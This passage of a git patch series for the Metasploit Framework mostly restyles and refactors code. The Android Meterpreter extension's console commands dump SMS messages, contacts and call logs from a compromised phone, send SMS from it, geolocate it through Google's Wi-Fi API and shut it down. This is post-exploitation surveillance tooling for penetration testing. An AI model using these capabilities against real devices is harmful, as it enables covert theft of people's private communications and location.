-37,7 +36,7 @@ module Rex self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] else - raise "Failure connecting to Google for location lookup." + fail "Failure connecting to Google for location lookup." end end @@ -61,22 +60,5 @@ module Rex def to_s "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." end - end end - -if $0 == __FILE__ - if ARGV.empty? - $stderr.puts("Usage: #{$0} [mac] ...") - $stderr.puts("Ask Google for the location of the given set of BSSIDs") - $stderr.puts - $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$0}") - exit(1) - end - g = Rex::GoogleGeolocation.new - ARGV.each do |mac| - g.add_wlan(mac, nil, -83) - end - g.fetch! - puts g, g.google_maps_url -end diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb new file mode 100755 index 0000000000..20b532cbce --- /dev/null +++ b/tools/google_geolocate_bssid.rb @@ -0,0 +1,31 @@ +#!/usr/bin/env ruby +# +# This tool asks Google for the location of a given set of BSSIDs +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'rex/google_geolocation' +require 'optparse' + +if ARGV.empty? + $stderr.puts("Usage: #{$PROGRAM_NAME} [mac] ...") + $stderr.puts("Ask Google for the location of the given set of BSSIDs") + $stderr.puts + $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$PROGRAM_NAME}") + $stderr.puts("Example: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I|awk '/BSSID/{print $2}'|xargs #{$PROGRAM_NAME}") + exit(1) +end + +g = Rex::GoogleGeolocation.new +ARGV.each do |mac| + g.add_wlan(mac, nil, -83) +end + +g.fetch! + +puts g, g.google_maps_url From f4031d87fcfef5b69b743b664c8805cd5fc6e912 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 14 Aug 2015 17:17:00 -0500 Subject: [PATCH 10/16] light ruby style cleanups --- .../meterpreter/extensions/android/android.rb | 98 ++++++++----------- 1 file changed, 39 insertions(+), 59 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 957118fcbf..86ea185dc4 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -5,21 +5,16 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' - module Rex module Post module Meterpreter module Extensions module Android - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - - class Android < Extension - def initialize(client) super(client, 'android') @@ -30,88 +25,77 @@ class Android < Extension { 'name' => 'android', 'ext' => self - }, + } ]) end - + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) - return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value - end - + response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + def dump_sms - sms = Array.new + sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) - response.each( TLV_TYPE_SMS_GROUP ) { |p| - - sms << - { + response.each(TLV_TYPE_SMS_GROUP) do |p| + sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } - - } - return sms + end + sms end def dump_contacts - contacts = Array.new + contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) - response.each( TLV_TYPE_CONTACT_GROUP ) { |p| - - contacts << - { + response.each(TLV_TYPE_CONTACT_GROUP) do |p| + contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } - - } - return contacts + end + contacts end def geolocate - - loc = Array.new + loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) - loc << - { + loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } - return loc + loc end def dump_calllog - log = Array.new + log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) - response.each(TLV_TYPE_CALLLOG_GROUP) { |p| - - log << - { + response.each(TLV_TYPE_CALLLOG_GROUP) do |p| + log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } - - } - return log + end + log end def check_root @@ -120,41 +104,37 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end - def send_sms(dest,body,dr) + def send_sms(dest, body, dr) request = Packet.create_request('send_sms') - request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) - request.add_tlv(TLV_TYPE_SMS_BODY,body) - request.add_tlv(TLV_TYPE_SMS_DR,dr) + request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) + request.add_tlv(TLV_TYPE_SMS_BODY, body) + request.add_tlv(TLV_TYPE_SMS_DR, dr) if dr == false - response=client.send_request(request) - sr=response.get_tlv(TLV_TYPE_SMS_SR).value + response = client.send_request(request) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value return sr else - response=client.send_request(request,30) - sr=response.get_tlv(TLV_TYPE_SMS_SR).value - dr=response.get_tlv(TLV_TYPE_SMS_SR).value - return [sr,dr] + response = client.send_request(request, 30) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + dr = response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr, dr] end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,30) - networks=[] - response.each( TLV_TYPE_WLAN_GROUP ) { |p| - - networks << - { + response = client.send_request(request, 30) + networks = [] + response.each(TLV_TYPE_WLAN_GROUP) do |p| + networks << { 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) } - - } - return networks + end + networks end end - end end end From 82e1181ccb9dca89bd926e977d3955c2f9d415f0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 14 Aug 2015 17:38:54 -0500 Subject: [PATCH 11/16] update to metasploit-payloads 1.0.8 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index b93b5fb156..8eb7bd06d0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.7) + metasploit-payloads (= 1.0.8) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.7) + metasploit-payloads (1.0.8) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4a4436e160..eb2924b3bd 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.7' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.8' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 3615bd094d84d6d6e5b52fa4f190ca875f3bb31d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 14 Aug 2015 17:58:33 -0500 Subject: [PATCH 12/16] limit the # of bssids sent to google, log more error details --- lib/rex/google_geolocation.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index 86d1527b65..62597c1012 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -24,7 +24,7 @@ module Rex # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. def fetch! - @uri.query << @wlan_list.join("&wifi=") + @uri.query << @wlan_list.take(10).join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true @@ -36,7 +36,9 @@ module Rex self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] else - fail "Failure connecting to Google for location lookup." + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri.to_s}" if response + fail msg end end From 875ac289e0a99b9eca3fc9e2a3ef7b71cb413b2d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 15 Aug 2015 19:44:48 -0500 Subject: [PATCH 13/16] wait up to time_out seconds for output from the command --- lib/msf/core/post/common.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 7f4db478d9..0b604162a1 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -101,6 +101,7 @@ module Msf::Post::Common # through /bin/sh, solving all the pesky parsing troubles, without # affecting Windows. # + start = Time.now.to_i if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ args = "" end @@ -108,9 +109,17 @@ module Msf::Post::Common session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) o = "" + # Wait up to time_out seconds for the first bytes to arrive while (d = process.channel.read) - break if d == "" - o << d + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end end o.chomp! if o From 1db376bed88a36c11c23d52b13d71e76212b4619 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 15 Aug 2015 19:46:04 -0500 Subject: [PATCH 14/16] check if a process still exists before deleting it --- data/meterpreter/ext_server_stdapi.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9e487280be..e884267528 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -742,7 +742,8 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - del meterpreter.processes[proc_h_id] + if meterpreter.processes.has_key(proc_h_id): + del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @meterpreter.register_function From 422bba87d352bfd8815349ee190de8cbd1207cfc Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 15 Aug 2015 19:49:32 -0500 Subject: [PATCH 15/16] style fixes, moved google_geolocate to google/geolocate --- lib/rex/google/geolocation.rb | 68 ++++++ lib/rex/google_geolocation.rb | 66 ------ .../ui/console/command_dispatcher/android.rb | 198 ++++++++---------- modules/post/multi/gather/wlan_geolocate.rb | 5 +- tools/google_geolocate_bssid.rb | 4 +- 5 files changed, 158 insertions(+), 183 deletions(-) create mode 100755 lib/rex/google/geolocation.rb delete mode 100755 lib/rex/google_geolocation.rb diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb deleted file mode 100755 index 62597c1012..0000000000 --- a/lib/rex/google_geolocation.rb +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env ruby - -require 'net/http' -require 'json' - -module Rex - # @example - # g = GoogleGeolocation.new - # g.add_wlan("00:11:22:33:44:55", "example", -80) - # g.fetch! - # puts g, g.google_maps_url - class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" - - attr_accessor :accuracy - attr_accessor :latitude - attr_accessor :longitude - - def initialize - @uri = URI.parse(URI.encode(GOOGLE_API_URI)) - @wlan_list = [] - end - - # Ask Google's Maps API for the location of a given set of BSSIDs (MAC - # addresses of access points), ESSIDs (AP names), and signal strengths. - def fetch! - @uri.query << @wlan_list.take(10).join("&wifi=") - request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP.new(@uri.host, @uri.port) - http.use_ssl = true - response = http.request(request) - - if response && response.code == '200' - results = JSON.parse(response.body) - self.latitude = results["location"]["lat"] - self.longitude = results["location"]["lng"] - self.accuracy = results["accuracy"] - else - msg = "Failure connecting to Google for location lookup." - msg += " Code #{response.code} for query #{@uri.to_s}" if response - fail msg - end - end - - # Add an AP to the list to send to Google when {#fetch!} is called. - # - # Turns out Google's API doesn't really care about ESSID or signal strength - # as long as you have BSSIDs. Presumably adding them will make it more - # accurate? Who knows. - # - # @param mac [String] in the form "00:11:22:33:44:55" - # @param ssid [String] ESSID associated with the mac - # @param signal_strength [String] a thing like - def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) - end - - def google_maps_url - "https://maps.google.com/?q=#{latitude},#{longitude}" - end - - def to_s - "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." - end - end -end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 8a40c0ef04..7891523682 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,18 +1,16 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' -require 'rex/google_geolocation' +require 'rex/google/geolocation' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -28,8 +26,8 @@ class Console::CommandDispatcher::Android 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', 'device_shutdown' => 'Shutdown device', - 'send_sms' => 'Sends SMS from target session', - 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information' } reqs = { @@ -39,25 +37,24 @@ class Console::CommandDispatcher::Android 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], 'device_shutdown' => [ 'device_shutdown'], - 'send_sms' => [ 'send_sms' ], - 'wlan_geolocate' => [ 'wlan_geolocate' ] + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end def cmd_device_shutdown(*args) - seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -67,26 +64,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -96,19 +92,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -117,8 +112,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -152,14 +146,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -168,18 +162,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -189,13 +180,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -210,32 +200,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -248,13 +234,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -264,7 +248,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -283,7 +267,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -292,7 +275,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -302,12 +285,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -322,23 +305,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -347,15 +328,13 @@ class Console::CommandDispatcher::Android end end - - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -363,13 +342,13 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end @@ -381,10 +360,12 @@ class Console::CommandDispatcher::Android '-t' => [ true, 'SMS body text' ], '-dr' => [ false, 'Wait for delivery report' ] ) - dest='' - body='' - dr=false - send_sms_opts.parse(args) { | opt, idx, val | + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: send_sms -d -t ') @@ -392,48 +373,48 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return when '-d' - dest=val + dest = val when '-t' - body=val + body = val when '-dr' - dr=true + dr = true end - } - if (dest.blank? or body.blank?) - print_error("You must enter both a destination address -d and the SMS text body -t") - print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') - print_line(send_sms_opts.usage) - return end - sent=client.android.send_sms(dest,body,dr) - if (dr) - if (sent[0]=="Transmission successful") - print_good("SMS sent - #{sent[0]}") + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") else - print_error("SMS send failed - #{sent[0]}") + print_error("SMS send failed - #{sent[0]}") end - if (sent[1]=="Transmission successful") - print_good("SMS delivered - #{sent[1]}") + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") else - print_error("SMS delivery failed - #{sent[1]}") + print_error("SMS delivery failed - #{sent[1]}") end else - if (sent=="Transmission successful") - print_good("SMS sent - #{sent}") + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") else - print_error("SMS send failed - #{sent}") + print_error("SMS send failed - #{sent}") end end end def cmd_wlan_geolocate(*args) - wlan_geolocate_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - wlan_geolocate_opts.parse(args) { | opt, idx, val | + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: wlan_geolocate') @@ -441,23 +422,22 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } + end log = client.android.wlan_geolocate - wlan_list=[] - wlan_str="" - log.each{|x| - mac=x['bssid'] - ssid=x['ssid'] - ss=x['level'] - wlan_list << [mac,ssid,ss.to_s] - } + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) @@ -470,21 +450,15 @@ class Console::CommandDispatcher::Android print_status(g.to_s) print_status("Google Maps URL: #{g.google_maps_url}") end - - end - - # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 1c9d7d2f84..61709e327b 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'rex' -require 'rex/google_geolocation' +require 'rex/google/geolocation' class Metasploit3 < Msf::Post @@ -84,12 +84,11 @@ class Metasploit3 < Msf::Post end def perform_geolocation(wlan_list) - if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb index 20b532cbce..1c93b47150 100755 --- a/tools/google_geolocate_bssid.rb +++ b/tools/google_geolocate_bssid.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) end $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'rex/google_geolocation' +require 'rex/google/geolocation' require 'optparse' if ARGV.empty? @@ -21,7 +21,7 @@ if ARGV.empty? exit(1) end -g = Rex::GoogleGeolocation.new +g = Rex::Google::Geolocation.new ARGV.each do |mac| g.add_wlan(mac, nil, -83) end From 9720e8e081c4175f07e9f14211f9c5858dcdc3af Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 15 Aug 2015 19:49:55 -0500 Subject: [PATCH 16/16] normalize osx to darwin so python meterp works --- modules/post/multi/gather/wlan_geolocate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 61709e327b..cdb498623a 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -114,9 +114,9 @@ class Metasploit3 < Msf::Post else # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform platform = session.sys.config.sysinfo['OS'] + platform = 'osx' if platform =~ /darwin/i end - case platform when /win/i